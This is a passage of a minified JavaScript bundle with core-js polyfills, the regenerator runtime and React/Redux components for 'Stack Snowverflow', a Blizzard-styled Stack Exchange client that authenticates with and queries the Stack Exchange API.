t=M[e]=N(w.prototype);return t._k=e,i&&x&&T(S,e,{configurable:!0,set:function(t){a(this,D)&&a(this[D],e)&&(this[D][e]=!1),T(this,e,E(1,t))}}),t},k=function(e,t,n){return n&&a(M,t)?(n.enumerable?(a(e,D)&&e[D][t]&&(e[D][t]=!1),n=N(n,{enumerable:E(0,!1)})):(a(e,D)||_(e,D,E(1,{})),e[D][t]=!0),T(e,t,n)):_(e,t,n)},A=function(e,t){g(e);for(var n,r=v(t=y(t)),o=0,a=r.length;a>o;)k(e,n=r[o++],t[n]);return e},j=function(e,t){return void 0===t?N(e):A(N(e),t)},L=function(e){var t=C.call(this,e);return t||!a(this,e)||!a(M,e)||a(this,D)&&this[D][e]?t:!0},V=function(e,t){var n=b(e=y(e),t);return!n||!a(M,t)||a(e,D)&&e[D][t]||(n.enumerable=!0),n},U=function(e){for(var t,n=O(y(e)),r=[],o=0;n.length>o;)a(M,t=n[o++])||t==D||r.push(t);return r},F=function(e){for(var t,n=O(y(e)),r=[],o=0;n.length>o;)a(M,t=n[o++])&&r.push(M[t]);return r};R||(w=function(){if(this instanceof w)throw TypeError("Symbol is not a constructor");return I(p(arguments[0]))},s(w.prototype,"toString",function(){return this._k}),r.create=j,r.isEnum=L,r.getDesc=V,
r.setDesc=k,r.setDescs=A,r.getNames=h.get=U,r.getSymbols=F,i&&!n(90)&&s(S,"propertyIsEnumerable",L,!0)),(!R||n(13)(function(){return"[{},[null]]"!=JSON.stringify([{a:w()},[w()]])}))&&s(w.prototype,"toJSON",function(){return R&&m(this)?this:void 0});var B={"for":function(e){return a(P,e+="")?P[e]:P[e]=w(e)},keyFor:function(e){return d(P,e)},useSetter:function(){x=!0},useSimple:function(){x=!1}};r.each.call("hasInstance,isConcatSpreadable,iterator,match,replace,search,species,split,toPrimitive,toStringTag,unscopables".split(","),function(e){var t=f(e);B[e]=R?t:I(t)}),x=!0,u(u.G+u.W,{Symbol:w}),u(u.S,"Symbol",B),u(u.S+u.F*!R,"Object",{create:j,defineProperty:k,defineProperties:A,getOwnPropertyDescriptor:V,getOwnPropertyNames:U,getOwnPropertySymbols:F}),l(w,"Symbol"),l(Math,"Math",!0),l(o.JSON,"JSON",!0)},function(e,t,n){"use strict";var r=n(4),o=n(126),a=n(9),i=n(20),u=o.frozenStore,s=o.WEAK,c=Object.isExtensible||a,l={},p=n(70)("WeakMap",function(e){return function(){return e(this,arguments[0])}},{get:function(e){if(a(e)){if(!c(e))return u(this).get(e);if(i(e,s))return e[s][this._i]}},set:function(e,t){return o.def(this,e,t)}},o,!0,!0);7!=(new p).set((Object.freeze||Object)(l),7).get(l)&&r.each.call(["delete","has","get","set"],function(e){var t=p.prototype,r=t[e];n(25)(t,e,function(t,n){if(a(t)&&!c(t)){var o=u(this)[e](t,n);return"set"==e?this:o}return r.call(this,t,n)})})},function(e,t,n){"use strict";var r=n(126);n(70)("WeakSet",function(e){return function(){return e(this,arguments[0])}},{add:function(e){return r.def(this,e,!0)}},r,!1,!0)},function(e,t,n){"use strict";var r=n(1),o=n(123)(!0);r(r.P,"Array",{includes:function(e){return o(this,e,arguments[1])}}),n(48)("includes")},function(e,t,n){var r=n(1);r(r.P,"Map",{toJSON:n(125)("Map")})},function(e,t,n){var r=n(1),o=n(138)(!0);r(r.S,"Object",{entries:function(e){return o(e)}})},function(e,t,n){var r=n(4),o=n(1),a=n(139),i=n(27),u=n(43);o(o.S,"Object",{getOwnPropertyDescriptors:function(e){for(var t,n,o=i(e),s=r.setDesc,c=r.getDesc,l=a(o),p={},f=0;l.length>f;)n=c(o,t=l[f++]),t in p?s(p,t,u(0,n)):p[t]=n;return p}})},function(e,t,n){var r=n(1),o=n(138)(!1);r(r.S,"Object",{values:function(e){return o(e)}})},function(e,t,n){var r=n(1),o=n(191)(/[\\^$*+?.()|[\]{}]/g,"\\$&");r(r.S,"RegExp",{escape:function(e){return o(e)}})},function(e,t,n){var r=n(1);r(r.P,"Set",{toJSON:n(125)("Set")})},function(e,t,n){"use strict";var r=n(1),o=n(93)(!0);r(r.P,"String",{at:function(e){return o(this,e)}})},function(e,t,n){"use strict";var r=n(1),o=n(142);r(r.P,"String",{padLeft:function(e){return o(this,e,arguments[1],!0)}})},function(e,t,n){"use strict";var r=n(1),o=n(142);r(r.P,"String",{padRight:function(e){return o(this,e,arguments[1],!1)}})},function(e,t,n){"use strict";n(95)("trimLeft",function(e){return function(){return e(this,1)}})},function(e,t,n){"use strict";n(95)("trimRight",function(e){return function(){return e(this,2)}})},function(e,t,n){var r=n(4),o=n(1),a=n(31).Array||Array,i={},u=function(e,t){r.each.call(e.split(","),function(e){void 0==t&&e in a?i[e]=a[e]:e in[]&&(i[e]=n(38)(Function.call,[][e],t))})};u("pop,reverse,shift,keys,values,entries",1),u("indexOf,every,some,forEach,map,filter,find,findIndex,includes",3),u("join,slice,concat,push,splice,unshift,sort,lastIndexOf,reduce,reduceRight,copyWithin,fill"),o(o.S,"Array",i)},function(e,t,n){n(146);var r=n(11),o=n(23),a=n(56),i=n(14)("iterator"),u=r.NodeList,s=r.HTMLCollection,c=u&&u.prototype,l=s&&s.prototype,p=a.NodeList=a.HTMLCollection=a.Array;!u||i in c||o(c,i,p),!s||i in l||o(l,i,p)},function(e,t,n){var r=n(1),o=n(144);r(r.G+r.B,{setImmediate:o.set,clearImmediate:o.clear})},function(e,t,n){var r=n(11),o=n(1),a=n(72),i=n(189),u=r.navigator,s=!!u&&/MSIE .\./.test(u.userAgent),c=function(e){return s?function(t,n){return e(a(i,[].slice.call(arguments,2),"function"==typeof t?t:Function(t)),n)}:e};o(o.G+o.B+o.F*s,{setTimeout:c(r.setTimeout),setInterval:c(r.setInterval)})},function(e,t,n){n(192),n(275),n(230),n(238),n(242),n(243),n(231),n(241),n(240),n(236),n(237),n(235),n(232),n(234),n(239),n(233),n(201),n(200),n(220),n(221),n(222),n(223),n(224),n(225),n(226),n(227),n(228),n(229),n(203),n(204),n(205),n(206),n(207),n(208),n(209),n(210),n(211),n(212),n(213),n(214),n(215),n(216),n(217),n(218),n(219),n(268),n(271),n(274),n(270),n(266),n(267),n(269),n(272),n(273),n(197),n(198),n(146),n(199),n(193),n(194),n(196),n(195),n(259),n(260),n(261),n(262),n(263),n(264),n(244),n(202),n(265),n(276),n(277),n(245),n(246),n(247),n(248),n(249),n(252),n(250),n(251),n(253),n(254),n(255),n(256),n(258),n(257),n(278),n(285),n(286),n(287),n(288),n(289),n(283),n(281),n(282),n(280),n(279),n(284),n(290),n(293),n(292),n(291),e.exports=n(31)},function(e,t,n){(function(t,n){!function(t){"use strict";function r(e,t,n,r){var o=Object.create((t||a).prototype);return o._invoke=p(e,n||null,new h(r||[])),o}function o(e,t,n){try{return{type:"normal",arg:e.call(t,n)}}catch(r){return{type:"throw",arg:r}}}function a(){}function i(){}function u(){}function s(e){["next","throw","return"].forEach(function(t){e[t]=function(e){return this._invoke(t,e)}})}function c(e){this.arg=e}function l(e){function t(t,n){var r=e[t](n),o=r.value;return o instanceof c?Promise.resolve(o.arg).then(a,i):Promise.resolve(o).then(function(e){return r.value=e,r})}function r(e,n){var r=o?o.then(function(){return t(e,n)}):new Promise(function(r){r(t(e,n))});return o=r["catch"](function(e){}),r}"object"==typeof n&&n.domain&&(t=n.domain.bind(t));var o,a=t.bind(e,"next"),i=t.bind(e,"throw");t.bind(e,"return");this._invoke=r}function p(e,t,n){var r=N;return function(a,i){if(r===w)throw new Error("Generator is already running");if(r===x){if("throw"===a)throw i;return m()}for(;;){var u=n.delegate;if(u){if("return"===a||"throw"===a&&u.iterator[a]===g){n.delegate=null;var s=u.iterator["return"];if(s){var c=o(s,u.iterator,i);if("throw"===c.type){a="throw",i=c.arg;continue}}if("return"===a)continue}var c=o(u.iterator[a],u.iterator,i);if("throw"===c.type){n.delegate=null,a="throw",i=c.arg;continue}a="next",i=g;var l=c.arg;if(!l.done)return r=O,l;n[u.resultName]=l.value,n.next=u.nextLoc,n.delegate=null}if("next"===a)r===O?n.sent=i:n.sent=g;else if("throw"===a){if(r===N)throw r=x,i;n.dispatchException(i)&&(a="next",i=g)}else"return"===a&&n.abrupt("return",i);r=w;var c=o(e,t,n);if("normal"===c.type){r=n.done?x:O;var l={value:c.arg,done:n.done};if(c.arg!==D)return l;n.delegate&&"next"===a&&(i=g)}else"throw"===c.type&&(r=x,a="throw",i=c.arg)}}}function f(e){var t={tryLoc:e[0]};1 in e&&(t.catchLoc=e[1]),2 in e&&(t.finallyLoc=e[2],t.afterLoc=e[3]),this.tryEntries.push(t)}function d(e){var t=e.completion||{};t.type="normal",delete t.arg,e.completion=t}function h(e){this.tryEntries=[{tryLoc:"root"}],e.forEach(f,this),this.reset(!0)}function v(e){if(e){var t=e[E];if(t)return t.call(e);if("function"==typeof e.next)return e;if(!isNaN(e.length)){var n=-1,r=function o(){for(;++n<e.length;)if(y.call(e,n))return o.value=e[n],o.done=!1,o;return o.value=g,o.done=!0,o};return r.next=r}}return{next:m}}function m(){return{value:g,done:!0}}var g,y=Object.prototype.hasOwnProperty,E="function"==typeof Symbol&&Symbol.iterator||"@@iterator",b="object"==typeof e,_=t.regeneratorRuntime;if(_)return void(b&&(e.exports=_));_=t.regeneratorRuntime=b?e.exports:{},_.wrap=r;var N="suspendedStart",O="suspendedYield",w="executing",x="completed",D={},C=u.prototype=a.prototype;i.prototype=C.constructor=u,u.constructor=i,i.displayName="GeneratorFunction",_.isGeneratorFunction=function(e){var t="function"==typeof e&&e.constructor;return t?t===i||"GeneratorFunction"===(t.displayName||t.name):!1},_.mark=function(e){return e.__proto__=u,e.prototype=Object.create(C),e},_.awrap=function(e){return new c(e)},s(l.prototype),_.async=function(e,t,n,o){var a=new l(r(e,t,n,o));return _.isGeneratorFunction(t)?a:a.next().then(function(e){return e.done?e.value:a.next()})},s(C),C[E]=function(){return this},C.toString=function(){return"[object Generator]"},_.keys=function(e){var t=[];for(var n in e)t.push(n);return t.reverse(),function r(){for(;t.length;){var n=t.pop();if(n in e)return r.value=n,r.done=!1,r}return r.done=!0,r}},_.values=v,h.prototype={constructor:h,reset:function(e){if(this.prev=0,this.next=0,this.sent=g,this.done=!1,this.delegate=null,this.tryEntries.forEach(d),!e)for(var t in this)"t"===t.charAt(0)&&y.call(this,t)&&!isNaN(+t.slice(1))&&(this[t]=g)},stop:function(){this.done=!0;var e=this.tryEntries[0],t=e.completion;if("throw"===t.type)throw t.arg;return this.rval},dispatchException:function(e){function t(t,r){return a.type="throw",a.arg=e,n.next=t,!!r}if(this.done)throw e;for(var n=this,r=this.tryEntries.length-1;r>=0;--r){var o=this.tryEntries[r],a=o.completion;if("root"===o.tryLoc)return t("end");if(o.tryLoc<=this.prev){var i=y.call(o,"catchLoc"),u=y.call(o,"finallyLoc");if(i&&u){if(this.prev<o.catchLoc)return t(o.catchLoc,!0);if(this.prev<o.finallyLoc)return t(o.finallyLoc)}else if(i){if(this.prev<o.catchLoc)return t(o.catchLoc,!0)}else{if(!u)throw new Error("try statement without catch or finally");if(this.prev<o.finallyLoc)return t(o.finallyLoc)}}}},abrupt:function(e,t){for(var n=this.tryEntries.length-1;n>=0;--n){var r=this.tryEntries[n];if(r.tryLoc<=this.prev&&y.call(r,"finallyLoc")&&this.prev<r.finallyLoc){var o=r;break}}o&&("break"===e||"continue"===e)&&o.tryLoc<=t&&t<=o.finallyLoc&&(o=null);var a=o?o.completion:{};return a.type=e,a.arg=t,o?this.next=o.finallyLoc:this.complete(a),D},complete:function(e,t){if("throw"===e.type)throw e.arg;"break"===e.type||"continue"===e.type?this.next=e.arg:"return"===e.type?(this.rval=e.arg,this.next="end"):"normal"===e.type&&t&&(this.next=t)},finish:function(e){for(var t=this.tryEntries.length-1;t>=0;--t){var n=this.tryEntries[t];if(n.finallyLoc===e)return this.complete(n.completion,n.afterLoc),d(n),D}},"catch":function(e){for(var t=this.tryEntries.length-1;t>=0;--t){var n=this.tryEntries[t];if(n.tryLoc===e){var r=n.completion;if("throw"===r.type){var o=r.arg;d(n)}return o}}throw new Error("illegal catch attempt")},delegateYield:function(e,t,n){return this.delegate={iterator:v(e),resultName:t,nextLoc:n},D}}}("object"==typeof t?t:"object"==typeof window?window:"object"==typeof self?self:this)}).call(t,function(){return this}(),n(2))},function(e,t,n){e.exports=n(185)},function(e,t,n){"use strict";function r(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t["default"]=e,t}function o(e,t){return new Promise(function(n,r){var o=new XMLHttpRequest;o.open(e,t),o.onload=function(){n(o.response)},o.onerror=function(){r(Error("Network Error"))},o.send()})}Object.defineProperty(t,"__esModule",{value:!0});var a=n(16),i=r(a),u="https://api.stackexchange.com/",s=5539,c="hZ9sd3aziJ8Jx6BTf)ltxA((",l="http://michaelchance.github.io/stacksnowverflow/blank.html";"localhost"==window.location.hostname&&(s=5540,c="*ECQ1vskbGqWbv9V2c*miA((",l="http://localhost:3000/blank.html");var p=new Promise(function(e,t){window.SE.init({clientId:s,key:c,channelUrl:l,complete:function(t){e(t)}})});t["default"]=function(e){return function(t){return function(n){if(n.type===i.AUTH_REQUEST)return p.then(function(){return new Promise(function(e,t){SE.authenticate({success:function(t){e(t)},error:function(e){t(e)}})})}).then(function(e){return e.type=i.AUTH_COMPLETE,t(e)},function(e){return e.type=i.AUTH_ERROR,t(e)});if(n.type!==i.API_REQUEST)return t(n);var r,a=function(){var a=n.endpoint;if("string"!=typeof a)throw new Error("API request endpoint must be a string");t(n);var s=n.expiresMinutes,l=n.datapointer,p=n.auth,f=n.nosite;0==a.indexOf("/")&&(a=a.substr(1));var d=-1===a.indexOf(u)?u+a:a;d+=d.indexOf("?")>=0?"&":"?",d+="key="+c,f||(d+="&site=www.stackoverflow.com");var h=e.getState().user.access_token;h&&(d+="&access_token="+h),r=new XMLHttpRequest;var v=n.method,m=void 0===v?"GET":v;return{v:o(m,d).then(function(e){try{var t=JSON.parse(e);return t}catch(n){return Promise.reject({error:e})}}).then(function(e){return e.error_id?Promise.reject(e):e}).then(function(e){return t({type:i.API_RESPONSE,endpoint:a,response:e,expiresMinutes:s,datapointer:l,auth:p})},function(e){return t({type:i.API_ERROR,endpoint:a,error:e,datapointer:l,auth:p})})}}();return"object"==typeof a?a.v:void 0}}},e.exports=t["default"]},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}function o(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function a(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}Object.defineProperty(t,"__esModule",{value:!0});var i=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),u=function(e,t,n){for(var r=!0;r;){var o=e,a=t,i=n;u=c=s=void 0,r=!1,null===o&&(o=Function.prototype);var u=Object.getOwnPropertyDescriptor(o,a);if(void 0!==u){if("value"in u)return u.value;var s=u.get;return void 0===s?void 0:s.call(i)}var c=Object.getPrototypeOf(o);if(null===c)return void 0;e=c,t=a,n=i,r=!0}},s=n(6),c=r(s),l=n(15),p=n(17),f=r(p),d=function(e){function t(){o(this,t),u(Object.getPrototypeOf(t.prototype),"constructor",this).apply(this,arguments)}return a(t,e),i(t,[{key:"render",value:function(){var e=this,t=this.props.interact(this.upvote?"upvote/undo":"upvote",this.props.type,this.props.id),n=this.props.interact(this.downvote?"downvote/undo":"downvote",this.props.type,this.props.id),r=this.props.interact(this.favorite?"favorite/undo":"favorite",this.props.type,this.props.id);return c["default"].createElement("div",{className:"postBodyContainer "+this.props.className},c["default"].createElement("div",{className:"postScoring"},c["default"].createElement(l.Link,{to:"/",className:"upvoteLink "+(this.props.upvote?"active":""),onClick:t}),c["default"].createElement("div",{className:"score"},this.props.score),c["default"].createElement(l.Link,{to:"/",className:"downvoteLink "+(this.props.downvote?"active":""),onClick:n}),c["default"].createElement(l.Link,{to:"/",className:"favoriteLink "+(this.props.favorite?"active":""),onClick:r})),c["default"].createElement("div",{className:"postBody",dangerouslySetInnerHTML:function(){return{__html:f["default"](e.props,"body")}}()}),c["default"].createElement("div",{className:"tags"},f["default"](this.props,"tags",[]).map(function(e){return c["default"].createElement(l.Link,{className:"tagLink",to:"/tags/"+e},e)})))}}]),t}(s.Component);t["default"]=d,d.propTypes={},e.exports=t["default"]},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}Object.defineProperty(t,"__esModule",{value:!0});var o=n(6),a=r(o),i=n(22),u=n(17),s=r(u),c=n(15),l=n(16),p=a["default"].createClass({displayName:"ProfileAnswersPage",getInitialState:function(){return{page:1}},mixins:[c.History],loadData:function(e,t){var n=this;setTimeout(function(){for(var t=1;t<=n.state.page;t++)e.loadDataFromApi({endpoint:"me/answers?page="+t+"&filter=withbody",datapointer:"me|answers|"+t})},0);for(var r=1;r<=this.state.page;r++)e.qPages&&e.qPages[r]&&e.loadDataFromApi({endpoint:"questions/"+e.qPages[r]+"?page="+r+"&filter=withbody",datapointer:"qDetail|"+r})},componentWillMount:function(){this.loadData(this.props)},componentWillReceiveProps:function(e){this.loadData(e)},increasePage:function(){var e={page:this.state.page+1};this.setState(e),this.loadData(this.props)},render:function(){var e=this;return a["default"].createElement("div",null,a["default"].createElement("h2",{className:"heading"},"Answers"),a["default"].createElement("div",null,function(){var t=s["default"](e.props,"answers",[]);return t.map(function(e){return a["default"].createElement("div",{className:"postBodyContainer "+e.className},a["default"].createElement("h3",{className:"myAnswer heading"},a["default"].createElement(c.Link,{className:"questionLink",to:"/question/"+s["default"](e,"question.question_id"),dangerouslySetInnerHTML:function(){return{__html:s["default"](e,"question.title")}}()})),a["default"].createElement("div",{className:"postScoring"},a["default"].createElement("div",{className:"score"},e.score)),a["default"].createElement("div",{className:"postBody",dangerouslySetInnerHTML:function(){return{__html:s["default"](e,"body")}}()}),a["default"].createElement("div",{className:"tags"},s["default"](e,"tags",[]).map(function(e){return a["default"].createElement(c.Link,{className:"tagLink",to:"/tags/"+e},e)})))})}()),a["default"].createElement("div",{className:"alignRight"},function(){return e.props.has_more?a["default"].createElement("button",{className:"blueButton",onClick:e.increasePage},"Load More..."):void 0}()))}});t["default"]=i.connect(function(e,t){for(var n={answers:[],qPages:[]},r=1,o={},a=function(){var t=e.data["me|answers|"+r],a=[];t.items&&(t.items.map(function(e){n.answers.push(e),o[e.question_id]=e,a.push(e.question_id)}),n.qPages[r]=a.join(";")),n.has_more=t.has_more,r++};e.data["me|answers|"+r];)a();for(r=1;e.data["qDetail|"+r];){var i=e.data["qDetail|"+r];i.items&&i.items.map(function(e){o[e.question_id]&&(o[e.question_id].question=e)}),r++}return n},{loadDataFromApi:l.loadDataFromApi})(p),e.exports=t["default"]},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}Object.defineProperty(t,"__esModule",{value:!0});var o=n(6),a=r(o),i=n(22),u=n(17),s=(r(u),n(15)),c=n(16);console.log(s.History);var l=a["default"].createClass({displayName:"App",mixins:[s.History],loadData:function(e){e.loadDataFromApi({endpoint:"me",auth:!0})},componentWillMount:function(){this.loadData(this.props)},componentWillReceiveProps:function(e){this.loadData(e)},execSearch:function(){this.history.pushState({},"/search?q="+encodeURIComponent(o.findDOMNode(this.refs.headerSearchInput).value)),o.findDOMNode(this.refs.headerSearchInput).value="",o.findDOMNode(this.refs.headerSearchInput).blur()},login:function(){return this.props.login(),!1},logout:function(){return this.props.logout(),!1},render:function(){var e=this,t=this.props.children;return a["default"].createElement("div",null,a["default"].createElement("div",{id:"navBar"},a["default"].createElement("div",{className:"contentContainer"},function(){return e.props.me?a["default"].createElement("span",{className:"floatRight"},a["default"].createElement(s.Link,{to:"/profile"},e.props.me.display_name),a["default"].createElement(s.Link,{to:"/",onClick:e.logout},"Log Out")):a["default"].createElement("span",{className:"floatRight"},a["default"].createElement(s.Link,{to:"/",onClick:e.login},"Log In"))}())),a["default"].createElement("div",{id:"header"},a["default"].createElement("div",{className:"contentContainer"},a["default"].createElement("form",{id:"headerSearch",onSubmit:this.execSearch},a["default"].createElement("input",{id:"headerSearchInput",placeholder:"Search Stack Snowverflow",ref:"headerSearchInput"}),a["default"].createElement("input",{id:"headerSearchSubmit",type:"submit",value:"",title:"Search Stack Snowverflow"})),a["default"].createElement("div",null,a["default"].createElement("h1",{id:"logo"},a["default"].createElement("a",{href:"http://us.battle.net/"})),a["default"].createElement("h2",{id:"logoSubtitle"},a["default"].createElement(s.Link,{onlyActiveOnIndex:!0,to:"/"},"Stack Snowverflow"))),a["default"].createElement("div",{id:"headerNavBar"},a["default"].createElement(s.Link,{activeClassName:"active",onlyActiveOnIndex:!0,to:"/"},"Home",a["default"].createElement("span",{className:"indicator"})),a["default"].createElement(s.Link,{activeClassName:"active",to:"/search"},"Search",a["default"].createElement("span",{className:"indicator"})),a["default"].createElement(s.Link,{activeClassName:"active",to:"/tags"},"Tags",a["default"].createElement("span",{className:"indicator"})),this.props.me?a["default"].createElement(s.Link,{activeClassName:"active",to:"/profile"},"Profile",a["default"].createElement("span",{className:"indicator"})):"")),a["default"].createElement("div",{className:"clear"})),a["default"].createElement("div",{id:"contentBody"},a["default"].createElement("div",{className:"contentContainer"},t)),a["default"].createElement("div",{id:"footer"},a["default"].createElement("div",{className:"contentContainer"},a["default"].createElement("div",{id:"footerContentContainer"},a["default"].createElement("a",{className:"logo-link",href:"http://us.blizzard.com/"},a["default"].createElement("img",{className:"blizzard-logo",src:"img/blizzard.png"})),a["default"].createElement("div",{xmlns:"http://www.w3.org/1999/xhtml",id:"footerLinks",className:"displayInlineBlock"},a["default"].createElement("a",{className:"nav-item nav-a",href:"http://jobs.blizzard.com/","data-analytics":"global-nav","data-analytics-placement":"Footer - Careers"},"Careers"),a["default"].createElement("span",null,"|"),a["default"].createElement("a",{className:"nav-item nav-a",href:"http://us.blizzard.com/company/about/","data-analytics":"global-nav","data-analytics-placement":"Footer - About"},"About"),a["default"].createElement("span",null,"|"),a["default"].createElement("a",{className:"nav-item nav-a",href:"http://us.blizzard.com/company/about/privacy.html","data-analytics":"global-nav","data-analytics-placement":"Footer - Privacy"},"Privacy"),a["default"].createElement("span",null,"|"),a["default"].createElement("a",{className:"nav-item nav-a",href:"http://us.blizzard.com/company/legal/","data-analytics":"global-nav","data-analytics-placement":"Footer - Terms"},"Terms"),a["default"].createElement("span",null,"|"),a["default"].createElement("a",{className:"nav-item nav-a",href:"//dev.battle.net","data-analytics":"global-nav","data-analytics-placement":"Footer - API"},"API"),a["default"].createElement("div",{className:"copyright"},a["default"].createElement("span",{dangerouslySetInnerHTML:function(){return{__html:"©"}}()}),"2015 Blizzard Entertainment, Inc."))))))}});t["default"]=i.connect(function(e){var t=e.version,n=e.user.access_token,r=e.data.me,o={version:t,access_token:n};return r&&r.items&&r.items.length>0&&(o.me=r.items[0]),o},{loadDataFromApi:c.loadDataFromApi,login:c.login,logout:c.logout})(l),e.exports=t["default"]},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}Object.defineProperty(t,"__esModule",{value:!0});var o=n(6),a=r(o),i=n(22),u=n(17),s=r(u),c=n(15),l=n(16),p=n(77),f=r(p),d=a["default"].createClass({displayName:"ProfileFavoritesPage",getInitialState:function(){return{page:1}},mixins:[c.History],loadData:function(e,t){var n=this;setTimeout(function(){for(var t=1;t<=n.state.page;t++)e.loadDataFromApi({endpoint:"me/favorites?page="+t,datapointer:"me|favorites|"+t})},0)},componentWillMount:function(){this.loadData(this.props)},componentWillReceiveProps:function(e){this.loadData(e)},increasePage:function(){var e={page:this.state.page+1};this.setState(e),this.loadData(this.props)},render:function(){var e=this;return a["default"].createElement("div",null,a["default"].createElement("h2",{className:"heading"},"Favorites"),a["default"].createElement("div",null,function(){var t=s["default"](e.props,"favorites",[]);return t.map(function(e){return a["default"].createElement(f["default"],e)})}()),a["default"].createElement("div",{className:"alignRight"},function(){return e.props.has_more?a["default"].createElement("button",{className:"blueButton",onClick:e.increasePage},"Load More..."):void 0}()))}});t["default"]=i.connect(function(e,t){for(var n={favorites:[]},r=1;e.data["me|favorites|"+r];){var o=e.data["me|favorites|"+r];o.items&&o.items.map(function(e){n.favorites.push(e)}),n.has_more=o.has_more,r++}return n},{loadDataFromApi:l.loadDataFromApi})(d),e.exports=t["default"]},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}Object.defineProperty(t,"__esModule",{value:!0});var o=n(6),a=r(o),i=n(22),u=n(17),s=(r(u),n(15)),c=n(16),l=n(77),p=r(l),f=a["default"].createClass({displayName:"HomePage",mixins:[s.History],loadData:function(e,t){e.loadDataFromApi({endpoint:"questions?sort=hot",datapointer:"hotQuestions"})},componentWillMount:function(){this.loadData(this.props)},componentWillReceiveProps:function(e){this.loadData(e)},execSearch:function(){console.log("home exec search"),this.history.pushState({},"/search?q="+encodeURIComponent(o.findDOMNode(this.refs.homeSearchInput).value))},render:function(){var e=this;return a["default"].createElement("div",{id:"homePage"},a["default"].createElement("form",{id:"homeSearchForm",className:"searchForm",onSubmit:this.execSearch},a["default"].createElement("h2",{className:"heading"},"Search for Questions"),a["default"].createElement("div",{id:"homeSearchContainer"},a["default"].createElement("input",{type:"text",className:"search",placeholder:"Search Stack Snowverflow",ref:"homeSearchInput"}),a["default"].createElement("input",{type:"submit",className:"submit",value:"SEARCH"}))),a["default"].createElement("div",null,a["default"].createElement("h2",{className:"heading flame"},"Hottest Questions"),a["default"].createElement("div",null,function(){return e.props.hot&&e.props.hot.length?e.props.hot.map(function(e){return a["default"].createElement(p["default"],e)}):void 0}())))}});t["default"]=i.connect(function(e,t){var n=[];return e.data.hotQuestions&&e.data.hotQuestions.items&&(n=e.data.hotQuestions.items),{hot:n}},{loadDataFromApi:c.loadDataFromApi})(f),e.exports=t["default"]},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}Object.defineProperty(t,"__esModule",{value:!0});var o=n(6),a=r(o),i=n(22),u=n(17),s=r(u),c=n(15),l=n(16),p=a["default"].createClass({displayName:"ProfilePage",getInitialState:function(){return{page:1}},mixins:[c.History],loadData:function(e,t){var n=this;e.loadDataFromApi({endpoint:"filter/create?include=badge.description",datapointer:"badgefilter",nosite:!0});var r=e.badgefilter;r&&setTimeout(function(){for(var t=1;t<=n.state.page;t++)e.loadDataFromApi({endpoint:"me/badges?page="+t+"&filter="+r,datapointer:"me|badges|"+t})},0)},componentWillMount:function(){this.loadData(this.props)},componentWillReceiveProps:function(e){this.loadData(e)},increasePage:function(){var e={page:this.state.page+1};this.setState(e),this.loadData(this.props)},render:function(){var e=this;return console.log(this.props),a["default"].createElement("div",null,a["default"].createElement("div",null,a["default"].createElement("h2",{className:"heading"},s["default"](this.props,"me.display_name")),a["default"].createElement("div",{id:"portraitBox",className:"floatLeft"},a["default"].createElement("img",{width:"164",height:"164",src:s["default"](this.props,"me.profile_image")}),a["default"].createElement("div",{id:"portraitBadges",className:"alignCenter"},a["default"].createElement("span",{className:"badgeCountContainer gold"},a["default"].createElement("span",{className:"badgeIcon"}),a["default"].createElement("span",{className:"badgeCount"},s["default"](this.props,"me.badge_counts.gold",0))),a["default"].createElement("span",{className:"badgeCountContainer silver"},a["default"].createElement("span",{className:"badgeIcon"}),a["default"].createElement("span",{className:"badgeCount"},s["default"](this.props,"me.badge_counts.silver",0))),a["default"].createElement("span",{className:"badgeCountContainer bronze"},a["default"].createElement("span",{className:"badgeIcon"}),a["default"].createElement("span",{className:"badgeCount"},s["default"](this.props,"me.badge_counts.bronze",0))))),a["default"].createElement("div",{id:"profileStats",className:"floatRight"},a["default"].createElement("div",null,a["default"].createElement("div",{className:"displayInlineBlock profileMetric"},a["default"].createElement("div",{className:"metric alignCenter"},s["default"](this.props,"me.reputation")),a["default"].createElement("div",{className:"title alignCenter"},"reputation")),a["default"].createElement("div",{className:"displayInlineBlock profileMetric"},a["default"].createElement("div",{className:"metric alignCenter"},s["default"](this.props,"me.answer_count")),a["default"].createElement("div",{className:"title alignCenter"},"answers"))),a["default"].createElement("div",null,a["default"].createElement("div",{className:"profileInfoLine"},a["default"].createElement("span",{className:"sprite displayInlineBlock location"}),a["default"].createElement("span",null,s["default"](this.props,"me.location"))),a["default"].createElement("div",{className:"profileInfoLine"},a["default"].createElement("span",{className:"sprite displayInlineBlock link"}),a["default"].createElement("a",{href:s["default"](this.props,"me.website_url")},"My Website")),a["default"].createElement("div",{className:"profileInfoLine"},a["default"].createElement("span",{className:"sprite displayInlineBlock views"}),a["default"].createElement("span",null,s["default"](this.props,"me.view_count"))))),a["default"].createElement("div",{dangerouslySetInnerHTML:function(){return{__html:s["default"](e.props,"me.about_me")}}()})),a["default"].createElement("div",{className:"clear"},a["default"].createElement("h2",{className:"heading"},"Badges"),a["default"].createElement("div",null,function(){var t=s["default"](e.props,"badges",[]);return t.map(function(e){return a["default"].createElement("div",null,a["default"].createElement("div",{className:"displayInlineBlock badgePlateContainer alignRight"},a["default"].createElement("div",{className:"displayInlineBlock badgePlate "+s["default"](e,"rank")},a["default"].createElement("span",{className:"badgeName"},s["default"](e,"name")),a["default"].createElement("span",{className:"badgeIcon"}))),a["default"].createElement("div",{className:"badgeDescription displayInlineBlock",dangerouslySetInnerHTML:function(){return{__html:s["default"](e,"description")}}()}))})}()),a["default"].createElement("div",{className:"alignRight"},function(){return 